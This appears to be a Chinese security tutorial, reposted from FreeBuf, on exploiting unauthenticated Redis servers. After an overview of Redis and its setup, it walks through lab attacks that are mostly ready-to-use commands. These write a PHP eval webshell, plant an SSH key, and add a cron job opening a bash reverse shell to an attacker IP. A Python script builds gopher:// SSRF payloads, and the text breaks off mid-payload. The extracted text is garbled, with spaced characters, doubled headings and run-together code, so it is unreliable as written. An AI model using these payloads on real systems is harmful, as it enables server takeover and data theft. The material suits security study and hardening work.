搜索

[22190] 2021-07-27_Redis常见漏洞利用方法总结

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2021-07-27_Redis常见漏洞利用方法总结 R e d i s   常 见 漏 洞 利 用 方 法 总 结 转 自 f r e e b u f   L e m o n S e c   2 0 2 1 - 0 7 - 2 7 R e d i s 是 什 么 ？ 是 什 么 ？ R e d i s 是 数 据 库 的 意 思 。 R e d i s （ R e m o t e   D i c t i o n a r y   S e r v e r   ) ， 即 远 程 字 典 服 务 ， 是 一 个 开 源 的 使 用 A N S I   C 语 言 编 写 、 支 持 网 络 、 可 基 于 内 存 亦 可 持 久 化 的 日 志 型 、 K e y - V a l u e 数 据 库 ， 并 提 供 多 种 语 言 的 A P I 。 R e d i s 是 一 个 k e y - v a l u e 存 储 系 统 。 和 M e m c a c h e d 类 似 ， 它 支 持 存 储 的 v a l u e 类 型 相 对 更 多 ， 包 括 s t r i n g ( 字 符 串 ) 、 l i s t ( 链 表 ) 、 s e t ( 集 合 ) 、 z s e t ( s o r t e d   s e t   — 有 序 集 合 ) 和 h a s h （ 哈 希 类 型 ） 。 这 些 数 据 类 型 都 支 持 p u s h / p o p 、 a d d / r e m o v e 及 取 交 集 并 集 和 差 集 及 更 丰 富 的 操 作 ， 而 且 这 些 操 作 都 是 原 子 性 的 。 在 此 基 础 上 ， r e d i s 支 持 各 种 不 同 方 式 的 排 序 。 与 m e m c a c h e d 一 样 ， 为 了 保 证 效 率 ， 数 据 都 是 缓 存 在 内 存 中 。 区 别 的 是 r e d i s 会 周 期 性 的 把 更 新 的 数 据 写 入 磁 盘 或 者 把 修 改 操 作 写 入 追 加 的 记 录 文 件 ， 并 且 在 此 基 础 上 实 现 了 m a s t e r - s l a v e ( 主 从 ) 同 步 。 R e d i s 运 行 在 内 存 中 但 是 可 以 持 久 化 到 磁 盘 ， 所 以 在 对 不 同 数 据 集 进 行 高 速 读 写 时 需 要 权 衡 内 存 ， 因 为 数 据 量 不 能 大 于 硬 件 内 存 。 在 内 存 数 据 库 方 面 的 另 一 个 优 点 是 ， 相 比 在 磁 盘 上 相 同 的 复 杂 的 数 据 结 构 ， 在 内 存 中 操 作 起 来 非 常 简 单 ， 这 样 R e d i s 可 以 做 很 多 内 部 复 杂 性 很 强 的 事 情 。 同 时 ， 在 磁 盘 格 式 方 面 他 们 是 紧 凑 的 以 追 加 的 方 式 产 生 的 ， 因 为 他 们 并 不 需 要 进 行 随 机 访 问 。 R e d i s 的 出 现 ， 很 大 程 度 补 偿 了 m e m c a c h e d 这 类 k e y / v a l u e 存 储 的 不 足 ， 在 部 分 场 合 可 以 对 关 系 数 据 库 起 到 很 好 的 补 充 作 用 。 R e d i s   基 本 语 法 基 本 语 法 R e d i s   配 置 配 置 R e d i s   的 配 置 文 件 位 于   R e d i s   安 装 目 录 下 ， 文 件 名 为   r e d i s . c o n f ( W i n d o w s   名 为 r e d i s . w i n d o w s . c o n f ) 。 你 可 以 通 过   C O N F I G 命 令 查 看 查 看 或 设 置 设 置 配 置 项 。 R e d i s   C O N F I G   查 看 配 置 命 令 格 式 如 下 ： 查 看 配 置 命 令 格 式 如 下 ： 使 用   * 号 获 取 所 有 配 置 项 ： 编 辑 配 置 编 辑 配 置 你 可 以 通 过 修 改   r e d i s . c o n f   文 件 或 使 用   C O N F I G   s e t 命 令 来 修 改 配 置 。 C O N F I G   S E T 命 令 基 本 语 法 ： 实 例 实 例 参 数 说 明 参 数 说 明 几 个 r e d i s . c o n f   配 置 项 说 明 如 下 ： 配 置 项 配 置 项 说 明 说 明 指 定   R e d i s   监 听 端 口 ， 默 认 端 口 为   6 3 7 9 r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   C O N F I G   G E T   C O N F I G _ S E T T I N G _ N A M E r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   C O N F I G   G E T   *     1 )   " d b f i l e n a m e "     2 )   " d u m p . r d b "     3 )   " r e q u i r e p a s s "     4 )   " "     5 )   " m a s t e r a u t h "     6 )   " "     7 )   " u n i x s o c k e t "     8 )   " "     9 )   " l o g f i l e "     . . . . . . r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   C O N F I G   S E T   C O N F I G _ S E T T I N G _ N A M E   N E W _ C O N F I G _ V A L U E r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   C O N F I G   S E T   l o g l e v e l   " n o t i c e " O K r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   C O N F I G   G E T   l o g l e v e l 1 )   " l o g l e v e l " 2 )   " n o t i c e " p o r t   6 3 7 9
绑 定 的 主 机 地 址 当 客 户 端 闲 置 多 长 秒 后 关 闭 连 接 ， 如 果 指 定 为   0   ， 表 示 关 闭 该 功 能 设 置 数 据 库 的 数 量 ， 默 认 数 据 库 为 0 ， 可 以 使 用   S E L E C T   命 令 在 连 接 上 指 定 数 据 库 i d 指 定 在 多 长 时 间 内 ， 有 多 少 次 更 新 操 作 ， 就 将 数 据 同 步 到 数 据 文 件 ， 可 以 多 个 条 件 配 合 指 定 本 地 数 据 库 文 件 名 ， 默 认 值 为 指 定 本 地 数 据 库 文 件 名 ， 默 认 值 为   d u m p . r d b 指 定 本 地 数 据 库 存 放 目 录 指 定 本 地 数 据 库 存 放 目 录 配 置 项 配 置 项 说 明 说 明 详 情 请 见 ： h t t p s : / / w w w . 6 5 7 2 6 0 . c o m / r e d i s / r e d i s - c o n f . h t m l R e d i s   命 令 命 令 R e d i s   命 令 用 于 在   r e d i s   服 务 上 执 行 操 作 。 要 在   r e d i s   服 务 上 执 行 命 令 需 要 一 个   r e d i s   客 户 端 。 R e d i s   客 户 端 在 我 们 之 前 下 载 的 的   r e d i s   的 安 装 包 中 。 R e d i s   客 户 端 的 基 本 语 法 为 ： 客 户 端 的 基 本 语 法 为 ： 以 下 实 例 讲 解 了 如 何 启 动   r e d i s   客 户 端 ： 启 动   r e d i s   客 户 端 ， 打 开 终 端 并 输 入 命 令   r e d i s - c l i 。 该 命 令 会 连 接 本 地 的   r e d i s   服 务 。 在 以 上 实 例 中 我 们 连 接 到 本 地 的   r e d i s   服 务 并 执 行   P I N G 命 令 ， 该 命 令 用 于 检 测   r e d i s   服 务 是 否 启 动 ， 如 果 服 务 器 运 作 正 常 的 话 ， 会 返 回 一 个   P O N G   。 在 远 程 服 务 上 执 行 命 令 在 远 程 服 务 上 执 行 命 令 如 果 需 要 在 远 程   r e d i s   服 务 上 执 行 命 令 ， 同 样 我 们 使 用 的 也 是   r e d i s - c l i 命 令 。 语 法 语 法 以 下 实 例 演 示 了 如 何 连 接 到 主 机 为   1 2 7 . 0 . 0 . 1 ， 端 口 为   6 3 7 9   ， 密 码 为   m y p a s s   的   r e d i s   服 务 上 。 S E T   命 令 命 令 R e d i s   S E T   命 令 用 于 设 置 给 定   k e y   的 值 。 如 果   k e y   已 经 存 储 其 他 值 ，   S E T   就 覆 写 旧 值 ， 且 无 视 类 型 。 r e d i s   S E T   命 令 基 本 语 法 如 下 ： G e t   命 令 命 令 R e d i s   G e t   命 令 用 于 获 取 指 定   k e y   的 值 。 如 果   k e y   不 存 在 ， 返 回   n i l   。 r e d i s   G e t   命 令 基 本 语 法 如 下 ： F l u s h a l l   命 令 命 令 R e d i s   F l u s h a l l   命 令 用 于 清 空 整 个   R e d i s   服 务 器 的 数 据 ( 删 除 所 有 数 据 库 的 所 有   k e y   ) 。 r e d i s   F l u s h a l l   命 令 基 本 语 法 如 下 ： R e d i s   数 据 备 份 与 恢 复 数 据 备 份 与 恢 复 R e d i s   S A V E 命 令 用 于 创 建 当 前 数 据 库 的 备 份 。 S a v e   命 令 执 行 一 个 同 步 保 存 操 作 ， 将 当 前   R e d i s   实 例 的 所 有 数 据 快 照 ( s n a p s h o t ) 以 默 认   R D B   文 件 的 形 式 保 存 到 硬 盘 。 r e d i s   S a v e   命 令 基 本 语 法 如 下 ： 该 命 令 将 在   r e d i s   安 装 目 录 中 创 建 d u m p . r d b 文 件 。 恢 复 数 据 恢 复 数 据 如 果 需 要 恢 复 数 据 ， 只 需 将 备 份 文 件   ( d u m p . r d b )   移 动 到   r e d i s   安 装 目 录 并 启 动 服 务 即 可 。 获 取   r e d i s   目 录 可 以 使 用   C O N F I G 命 令 ， 如 下 所 示 ： 以 上 命 令   C O N F I G   G E T   d i r 输 出 的   r e d i s   安 装 目 录 为   / u s r / l o c a l / r e d i s / b i n 。 b i n d   1 2 7 . 0 . 0 . 1 t i m e o u t   3 0 0 d a t a b a s e s   1 6 s a v e   < s e c o n d s >   < c h a n g e s > d b f i l e n a m e   d u m p . r d b d i r   . / $   r e d i s - c l i $   r e d i s - c l i r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 > r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   P I N G P O N G $   r e d i s - c l i   - h   h o s t   - p   p o r t   - a   p a s s w o r d $ r e d i s - c l i   - h   1 2 7 . 0 . 0 . 1   - p   6 3 7 9   - a   " m y p a s s " r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 > r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   P I N G P O N G r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   S E T   K E Y _ N A M E   V A L U E r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   G E T   K E Y _ N A M E r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   F L U S H A L L r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   S A V E   O K r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   C O N F I G   G E T   d i r 1 )   " d i r " 2 )   " / u s r / l o c a l / r e d i s / b i n "
R e d i s   安 全 安 全 我 们 可 以 通 过   r e d i s   的 配 置 文 件 设 置 密 码 参 数 ， 这 样 客 户 端 连 接 到 这 样 客 户 端 连 接 到   r e d i s   服 务 就 需 要 密 码 验 证 服 务 就 需 要 密 码 验 证 ， 这 样 可 以 让 你 的   r e d i s   服 务 更 安 全 。 我 们 可 以 通 过 以 下 命 令 查 看 是 否 设 置 了 密 码 验 证 ： 默 认 情 况 下 默 认 情 况 下   r e q u i r e p a s s   参 数 是 空 的 ， 也 就 是 说 默 认 情 况 下 是 无 密 码 验 证 的 ， 这 就 意 味 着 你 无 需 通 过 密 码 验 证 就 可 以 连 接 到 参 数 是 空 的 ， 也 就 是 说 默 认 情 况 下 是 无 密 码 验 证 的 ， 这 就 意 味 着 你 无 需 通 过 密 码 验 证 就 可 以 连 接 到   r e d i s   服 务 。 服 务 。 你 可 以 通 过 以 下 命 令 来 修 改 该 参 数 ： 设 置 密 码 后 ， 客 户 端 连 接   r e d i s   服 务 就 需 要 密 码 验 证 ， 否 则 无 法 执 行 命 令 。 语 法 语 法 A U T H 命 令 基 本 语 法 格 式 如 下 ： 该 命 令 用 于 检 测 给 定 的 密 码 和 配 置 文 件 中 的 密 码 是 否 相 符 。 r e d i s   A u t h   命 令 基 本 语 法 如 下 ： 密 码 匹 配 时 返 回   O K   ， 否 则 返 回 一 个 错 误 。 实 例 R e d i s   环 境 搭 建 环 境 搭 建 第 一 步 ： 第 一 步 ： u b u n t u 中 下 载 安 装 R e d i s 并 解 压 ： 第 二 步 ： 第 二 步 ： 下 载 并 解 压 好 以 后 ， 进 入 到 R e d i s 目 录 中 ， 执 行 ， 通 过 m a k e 编 译 的 方 式 来 安 装 ： 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   C O N F I G   g e t   r e q u i r e p a s s 1 )   " r e q u i r e p a s s " 2 )   " " 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   C O N F I G   s e t   r e q u i r e p a s s   " 6 5 7 2 6 0 " O K 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   C O N F I G   g e t   r e q u i r e p a s s 1 )   " r e q u i r e p a s s " 2 )   " 6 5 7 2 6 0 " 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   A U T H   p a s s w o r d r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   A U T H   P A S S W O R D 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   A U T H   " 6 5 7 2 6 0 " O K 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   S E T   m y k e y   " T e s t   v a l u e " O K 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   G E T   m y k e y " T e s t   v a l u e " w g e t   h t t p : / / d o w n l o a d . r e d i s . i o / r e l e a s e s / r e d i s - 5 . 0 . 1 2 . t a r . g z t a r   - z x v f   r e d i s - 5 . 0 . 1 2 . t a r . g z m a k e m a k e
如 上 图 提 示   “ I t ’ s   a   g o o d   i d e a   t o   r u n   ‘ m a k e   t e s t ’   “   则 代 表 编 译 安 装 成 功 。 第 四 步 ： 第 四 步 ： m a k e 结 束 后 ， 进 入 s r c 目 录 ， 将 r e d i s - s e r v e r 和 r e d i s - c l i 拷 贝 到 / u s r / b i n 目 录 下 （ 这 样 启 动 r e d i s - s e r v e r 和 r e d i s - c l i 就 不 用 每 次 都 进 入 安 装 目 录 了 ） 第 五 步 ： 第 五 步 ： 返 回 r e d i s - 2 . 8 . 1 7 目 录 ， 将 r e d i s . c o n f 拷 贝 到 / e t c 目 录 下 。 第 六 步 ： 第 六 步 ： 使 用 / e t c 目 录 下 的 r e i d s . c o n f 文 件 中 的 配 置 启 动 r e d i s 服 务 ： R e d i s   未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 c d   s r c c p   r e d i s - c l i   / u s r / b i n c p   r e d i s - s e r v e r   / u s r / b i n c d   . . / c p   r e d i s . c o n f   / e t c r e d i s - s e r v e r   / e t c / r e d i s . c o n f
R e d i s   默 认 情 况 下 ， 会 绑 定 在   0 . 0 . 0 . 0 : 6 3 7 9 ， 如 果 没 有 进 行 采 用 相 关 的 策 略 ， 比 如 添 加 防 火 墙 规 则 避 免 其 他 非 信 任 来 源   i p   访 问 等 ， 这 样 将 会 将   R e d i s   服 务 暴 露 到 公 网 上 ， 如 果 在 没 有 设 置 密 码 认 证 （ 一 般 为 空 ） ， 会 导 致 任 意 用 户 在 可 以 访 问 目 标 服 务 器 的 情 况 下 未 授 权 访 问   R e d i s   以 及 读 取   R e d i s   的 数 据 。 攻 击 者 在 未 授 权 访 问   R e d i s   的 情 况 下 ， 可 以 利 用   R e d i s   自 身 的 提 供 的   c o n f i g   命 令 像 目 标 主 机 写 W e b S h e l l 、 写 S S H 公 钥 、 创 建 计 划 任 务 反 弹 S h e l l 等 。 其 思 路 都 是 一 样 的 ， 就 是 先 将 R e d i s 的 本 地 数 据 库 存 放 目 录 设 置 为 w e b 目 录 、 ~ / . s s h 目 录 或 / v a r / s p o o l / c r o n 目 录 等 ， 然 后 将 d b f i l e n a m e （ 本 地 数 据 库 文 件 名 ） 设 置 为 文 件 名 你 想 要 写 入 的 文 件 名 称 ， 最 后 再 执 行 s a v e 或 b g s a v e 保 存 ， 则 我 们 就 指 定 的 目 录 里 写 入 指 定 的 文 件 了 。 简 单 说 ， 漏 洞 的 产 生 条 件 有 以 下 两 点 ： 简 单 说 ， 漏 洞 的 产 生 条 件 有 以 下 两 点 ： r e d i s   绑 定 在   0 . 0 . 0 . 0 : 6 3 7 9 ， 且 没 有 进 行 添 加 防 火 墙 规 则 避 免 其 他 非 信 任 来 源 i p 访 问 等 相 关 安 全 策 略 ， 直 接 暴 露 在 公 网 。 没 有 设 置 密 码 认 证 （ 一 般 为 空 ） ， 可 以 免 密 码 远 程 登 录 r e d i s 服 务 。 漏 洞 危 害 ： 漏 洞 危 害 ： 攻 击 者 无 需 认 证 就 可 以 访 问 到 内 部 数 据 ， 可 能 导 致 敏 感 信 息 泄 露 ， 黑 客 也 可 以 恶 意 执 行 f l u s h a l l 来 清 空 所 有 数 据 ； 攻 击 者 可 通 过 E V A L 执 行 l u a 代 码 ， 或 通 过 数 据 备 份 功 能 往 磁 盘 写 入 后 门 文 件 ； 最 严 重 的 情 况 ， 如 果 R e d i s 以 r o o t 身 份 运 行 ， 黑 客 可 以 给 r o o t 账 户 写 入 S S H 公 钥 文 件 ， 直 接 通 过 S S H 登 录 受 害 服 务 器 。 下 面 我 们 对   R e d i s   未 授 权 访 问 漏 洞 进 行 测 试 。 实 验 环 境 ： 实 验 环 境 ： 攻 击 机 K a l i ： 1 9 2 . 1 6 8 . 4 3 . 2 4 7 受 害 机 U b u n t u ： 1 9 2 . 1 6 8 . 4 3 . 8 2 此 时 受 害 机 U b u n t u 中 的 R e d i s 服 务 （ 作 为 服 务 端 ） 已 经 启 动 了 ， 作 为 攻 击 机 的 k a l i 系 统 ， 需 要 按 照 之 前 的 步 骤 同 样 安 装 R e d i s （ 作 为 客 户 端 ） 。 安 装 成 功 后 在 攻 击 机 上 使 用 r e d i s 客 户 端 直 接 无 账 号 成 功 登 录 U b u n t u 上 的 R e d i s 服 务 端 ， 并 且 成 功 列 出 服 务 端 R e d i s 的 信 息 ： 利 用 利 用   R e d i s   写 入 写 入   W e b s h e l l 利 用 条 件 ： 利 用 条 件 ： 服 务 端 的 R e d i s 连 接 存 在 未 授 权 ， 在 攻 击 机 上 能 用 r e d i s - c l i 直 接 登 陆 连 接 ， 并 未 登 陆 验 证 。 开 了 服 务 端 存 在 W e b 服 务 器 ， 并 且 知 道 W e b 目 录 的 路 径 （ 如 利 用 p h p i n f o ， 或 者 错 误 爆 路 经 ） ， 还 需 要 具 有 文 件 读 写 增 删 改 查 权 限 。 我 们 可 以 将 d i r 设 置 为 / v a r / w w w / h t m l 目 录 ， 将 指 定 本 地 数 据 库 存 放 目 录 设 置 为 / v a r / w w w / h t m l ； 将 d b f i l e n a m e 设 置 为 文 件 名 s h e l l . p h p ， 即 指 定 本 地 数 据 库 文 件 名 为 s h e l l . p h p ； 再 执 行 s a v e 或 b g s a v e ， 则 我 们 就 可 以 写 入 一 个 路 径 为 / v a r / w w w / h t m l / s h e l l . p h p 的 W e b s h e l l 文 件 。 原 理 就 是 在 数 据 库 中 插 入 一 条 W e b s h e l l 数 据 ， 将 此 W e b s h e l l 的 代 码 作 为 v a l u e ， k e y 值 随 意 （ x ） ， 然 后 通 过 修 改 数 据 库 的 默 认 路 径 为 / v a r / w w w / h t m l 和 默 认 的 缓 冲 文 件 s h e l l . p h p ， 把 缓 冲 的 数 据 保 存 在 文 件 里 ， 这 样 就 可 以 在 服 务 器 端 的 / v a r / w w w / h t m l 下 生 成 一 个 W e b s h e l l 。 操 作 步 骤 ： r e d i s - c l i   - h   1 9 2 . 1 6 8 . 4 3 . 8 2 c o n f i g   s e t   d i r   / v a r / w w w / h t m l /   c o n f i g   s e t   d b f i l e n a m e   s h e l l . p h p s e t   x x x   " < ? p h p   e v a l ( $ _ P O S T [ w h o a m i ] ) ; ? > "   s a v e
这 里 需 要 注 意 的 是 第 三 步 写 w e b s h e l l 的 时 候 ， 可 以 使 用 ： 代 表 换 行 的 意 思 ， 用 r e d i s 写 入 文 件 的 会 自 带 一 些 版 本 信 息 ， 如 果 不 换 行 可 能 会 导 致 无 法 执 行 ， 查 看 / v a r / w w w / h t m l / 目 录 下 的 s h e l l . p h p 文 件 内 容 。 如 下 图 所 示 ， 写 入 成 功 ： 蚁 剑 连 接 ， 连 接 成 功 ： 利 用 利 用   R e d i s   写 入 写 入   S S H   公 钥 公 钥 利 用 条 件 ： 利 用 条 件 ： 服 务 端 的 R e d i s 连 接 存 在 未 授 权 ， 在 攻 击 机 上 能 用 r e d i s - c l i 直 接 登 陆 连 接 ， 并 未 登 陆 验 证 。 服 务 端 存 在 . s s h 目 录 并 且 有 写 入 的 权 限 原 理 就 是 在 数 据 库 中 插 入 一 条 数 据 ， 将 本 机 的 公 钥 作 为 v a l u e ， k e y 值 随 意 ， 然 后 通 过 修 改 数 据 库 的 默 认 路 径 为 / r o o t / . s s h 和 默 认 的 缓 冲 文 件 a u t h o r i z e d . k e y s ， 把 缓 冲 的 数 据 保 存 在 文 件 里 ， 这 样 就 可 以 在 服 务 器 端 的 / r o o t / . s s h 下 生 成 一 个 授 权 的 k e y 。 首 先 在 攻 击 机 的 / r o o t / . s s h 目 录 里 生 成 s s h 公 钥 k e y ： 接 着 将 公 钥 导 入 k e y . t x t 文 件 （ 前 后 用 n 换 行 ， 避 免 和 R e d i s 里 其 他 缓 存 数 据 混 合 ） ， 再 把 k e y . t x t 文 件 内 容 写 入 服 务 端 R e d i s 的 缓 冲 里 ： s e t   x x x   " r n r n < ? p h p   e v a l ( $ _ P O S T [ w h o a m i ] ) ; ? > r n r n " r n r n s s h - k e y g e n   - t   r s a ( e c h o   - e   " n n " ;   c a t   / r o o t / . s s h / i d _ r s a . p u b ;   e c h o   - e   " n n " )   >   / r o o t / . s s h / k e y . t x t c a t   / r o o t / . s s h / k e y . t x t   |   r e d i s - c l i   - h   1 9 2 . 1 6 8 . 4 3 . 8 2   - x   s e t   x x x / /   - x   代 表 从 标 准 输 入 读 取 数 据 作 为 该 命 令 的 最 后 一 个 参 数 。
然 后 ， 使 用 攻 击 机 连 接 目 标 机 器 R e d i s ， 设 置 R e d i s 的 备 份 路 径 为 / r o o t / . s s h / 和 保 存 文 件 名 为 a u t h o r i z e d _ k e y s ， 并 将 数 据 保 存 在 目 标 服 务 器 硬 盘 上 最 后 ， 使 用 攻 击 机 s s h 连 接 目 标 受 害 机 即 可 ： 如 上 图 所 示 ， 成 功 连 接 。 利 用 利 用   R e d i s   写 入 计 划 任 务 写 入 计 划 任 务 原 理 就 是 在 数 据 库 中 插 入 一 条 数 据 ， 将 计 划 任 务 的 内 容 作 为 v a l u e ， k e y 值 随 意 ， 然 后 通 过 修 改 数 据 库 的 默 认 路 径 为 目 标 主 机 计 划 任 务 的 路 径 ， 把 缓 冲 的 数 据 保 存 在 文 件 里 ， 这 样 就 可 以 在 服 务 器 端 成 功 写 入 一 个 计 划 任 务 进 行 反 弹 s h e l l 。 首 先 在 攻 击 机 k a l i 上 开 启 监 听 ： 然 后 连 接 服 务 端 的 R e d i s ， 写 入 反 弹 s h e l l 的 计 划 任 务 ： 如 下 图 所 示 ， 经 过 一 分 钟 以 后 ， 在 攻 击 机 的 n c 中 成 功 反 弹 s h e l l 回 来 ： r e d i s - c l i   - h   1 9 2 . 1 6 8 . 4 3 . 8 2 c o n f i g   s e t   d i r   / r o o t / . s s h c o n f i g   s e t   d b f i l e n a m e   a u t h o r i z e d _ k e y s s a v e s s h   1 9 2 . 1 6 8 . 4 3 . 8 2 n c   - l v p   2 3 3 3 r e d i s - c l i   - h   1 9 2 . 1 6 8 . 1 4 2 . 1 5 3 s e t   x x x   " n n * / 1   *   *   *   *   / b i n / b a s h   - i > & / d e v / t c p / 1 9 2 . 1 6 8 . 4 3 . 2 4 7 / 2 3 3 3   0 > & 1 n n " c o n f i g   s e t   d i r   / v a r / s p o o l / c r o n / c r o n t a b s / c o n f i g   s e t   d b f i l e n a m e   r o o t s a v e
这 个 方 法 只 能 这 个 方 法 只 能 C e n t o s 上 使 用 ， 上 使 用 ， U b u n t u 上 行 不 通 ， 原 因 如 下 ： 上 行 不 通 ， 原 因 如 下 ： 因 为 默 认 r e d i s 写 文 件 后 是 6 4 4 的 权 限 ， 但 u b u n t u 要 求 执 行 定 时 任 务 文 件 权 限 必 须 是 6 0 0 也 就 是 - r w — — — - 才 会 执 行 ， 否 则 会 报 错 ( r o o t ) I N S E C U R E   M O D E   ( m o d e   0 6 0 0   e x p e c t e d ) ， 而 C e n t o s 的 定 时 任 务 文 件 权 限 6 4 4 也 能 执 行 因 为 r e d i s 保 存 R D B 会 存 在 乱 码 ， 在 U b u n t u 上 会 报 错 ， 而 在 C e n t o s 上 不 会 报 错 由 于 系 统 的 不 同 ， 由 于 系 统 的 不 同 ， c r o n t r a b 定 时 文 件 位 置 也 会 不 同 ： 定 时 文 件 位 置 也 会 不 同 ： C e n t o s 的 定 时 任 务 文 件 在 U b u n t u 定 时 任 务 文 件 在 R e d i s   未 授 权 访 问 漏 洞 在 未 授 权 访 问 漏 洞 在   S S R F   中 的 利 用 中 的 利 用 在 S S R F 漏 洞 中 ， 如 果 通 过 端 口 扫 描 等 方 法 发 现 目 标 主 机 上 开 放 6 3 7 9 端 口 ， 则 目 标 主 机 上 很 有 可 能 存 在 R e d i s 服 务 。 此 时 ， 如 果 目 标 主 机 上 的 R e d i s 由 于 没 有 设 置 密 码 认 证 、 没 有 进 行 添 加 防 火 墙 等 原 因 存 在 未 授 权 访 问 漏 洞 的 话 ， 那 我 们 就 可 以 利 用 G o p h e r 协 议 远 程 操 纵 目 标 主 机 上 的 R e d i s ， 可 以 利 用   R e d i s   自 身 的 提 供 的   c o n f i g   命 令 像 目 标 主 机 写 W e b S h e l l 、 写 S S H 公 钥 、 创 建 计 划 任 务 反 弹 S h e l l 等 ， 其 思 路 都 是 一 样 的 ， 就 是 先 将 R e d i s 的 本 地 数 据 库 存 放 目 录 设 置 为 w e b 目 录 、 ~ / . s s h 目 录 或 / v a r / s p o o l / c r o n 目 录 等 ， 然 后 将 d b f i l e n a m e （ 本 地 数 据 库 文 件 名 ） 设 置 为 文 件 名 你 想 要 写 入 的 文 件 名 称 ， 最 后 再 执 行 s a v e 或 b g s a v e 保 存 ， 则 我 们 就 指 定 的 目 录 里 写 入 指 定 的 文 件 了 。 实 验 环 境 ： 实 验 环 境 ： 攻 击 机 K a l i ： 1 9 2 . 1 6 8 . 4 3 . 2 4 7 受 害 机 U b u n t u ： 1 9 2 . 1 6 8 . 4 3 . 8 2 假 设 受 害 机 上 存 在 W e b 服 务 并 且 存 在 S S R F 漏 洞 ， 通 过 S S R F 进 行 端 口 扫 描 我 们 发 现 目 标 主 机 在 6 3 7 9 端 口 上 运 行 着 一 个 R e d i s 服 务 。 下 面 我 们 就 来 演 示 如 何 通 过 S S R F 漏 洞 去 攻 击 R e d i s 服 务 。 绝 对 路 径 写 绝 对 路 径 写 W e b S h e l l 首 先 构 造 r e d i s 命 令 ： 然 后 写 一 个 脚 本 ， 将 其 转 化 为 G o p h e r 协 议 的 格 式 （ 脚 本 时 从 网 上 嫖 的 ， 谁 让 我 菜 呢 ~ ~ ~ 大 佬 勿 喷 ） ： 执 行 该 脚 本 后 生 成 p a y l o a d 如 下 ： 这 里 将 生 成 的 p a y l o a d 要 进 行 u r l 二 次 编 码 （ 因 为 我 们 发 送 p a y l o a d 用 的 是 G E T 方 法 ） ， 然 后 利 用 U b u n t u 服 务 器 上 的 S S R F 漏 洞 ， 将 二 次 编 码 后 的 p a y l o a d 打 过 去 就 行 了 ： / v a r / s p o o l / c r o n / c r o n t a b s / < u s e r n a m e > / v a r / s p o o l / c r o n / < u s e r n a m e > / v a r / s p o o l / c r o n / < u s e r n a m e > / v a r / s p o o l / c r o n / c r o n t a b s / < u s e r n a m e > f l u s h a l l s e t   1   ' < ? p h p   e v a l ( $ _ P O S T [ " w h o a m i " ] ) ; ? > ' c o n f i g   s e t   d i r   / v a r / w w w / h t m l c o n f i g   s e t   d b f i l e n a m e   s h e l l . p h p s a v e i m p o r t   u r l l i b p r o t o c o l = " g o p h e r : / / " i p = " 1 9 2 . 1 6 8 . 4 3 . 8 2 " p o r t = " 6 3 7 9 " s h e l l = " n n < ? p h p   e v a l ( $ _ P O S T [ " w h o a m i " ] ) ; ? > n n " f i l e n a m e = " s h e l l . p h p " p a t h = " / v a r / w w w / h t m l " p a s s w d = " "         #   此 处 也 可 以 填 入 R e d i s 的 密 码 ,   在 不 存 在 R e d i s 未 授 权 的 情 况 下 适 用 c m d = [ " f l u s h a l l " , " s e t   1   { } " . f o r m a t ( s h e l l . r e p l a c e ( "   " , " $ { I F S } " ) ) , " c o n f i g   s e t   d i r   { } " . f o r m a t ( p a t h ) , " c o n f i g   s e t   d b f i l e n a m e   { } " . f o r m a t ( f i l e n a m e ) , " s a v e " ] i f   p a s s w d : c m d . i n s e r t ( 0 , " A U T H   { } " . f o r m a t ( p a s s w d ) ) p a y l o a d = p r o t o c o l + i p + " : " + p o r t + " / _ " d e f   r e d i s _ f o r m a t ( a r r ) : C R L F = " r n " r e d i s _ a r r   =   a r r . s p l i t ( "   " ) c m d = " " c m d + = " * " + s t r ( l e n ( r e d i s _ a r r ) ) f o r   x   i n   r e d i s _ a r r : c m d + = C R L F + " $ " + s t r ( l e n ( ( x . r e p l a c e ( " $ { I F S } " , "   " ) ) ) ) + C R L F + x . r e p l a c e ( " $ { I F S } " , "   " ) c m d + = C R L F r e t u r n   c m d i f   _ _ n a m e _ _ = = " _ _ m a i n _ _ " : f o r   x   i n   c m d : p a y l o a d   + =   u r l l i b . q u o t e ( r e d i s _ f o r m a t ( x ) ) p r i n t   p a y l o a d s s r f . p h p ? u r l = g o p h e r % 3 A % 2 F % 2 F 1 9 2 . 1 6 8 . 4 3 . 8 2 % 3 A 6 3 7 9 % 2 F _ % 2 5 2 A 1 % 2 5 0 D % 2 5 0 A % 2 5 2 4 8 % 2 5 0 D % 2 5 0 A f l u s h a l l % 2 5 0 D % 2 5 0 A % 2 5 2 A 3 % 2 5 0 D % 2 5 0 A % 2 5 2 4 3 % 2 5 0 D % 2 5 0 A s e t % 2 5 0 D % 2 5 0 A % 2 5 2 4 1 % 2 5 0 D % 2 5 0 A 1 % 2 5 0 D % 2 5 0 A % 2 5 2 4 3 5 % 2 5 0
